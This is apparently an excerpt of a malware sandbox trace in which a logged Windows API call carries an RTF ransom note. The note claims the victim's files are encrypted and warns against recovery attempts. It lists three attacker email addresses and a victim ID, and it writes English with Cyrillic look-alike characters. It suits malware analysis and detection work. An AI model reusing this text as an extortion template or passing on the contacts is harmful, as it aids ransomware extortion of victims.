r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 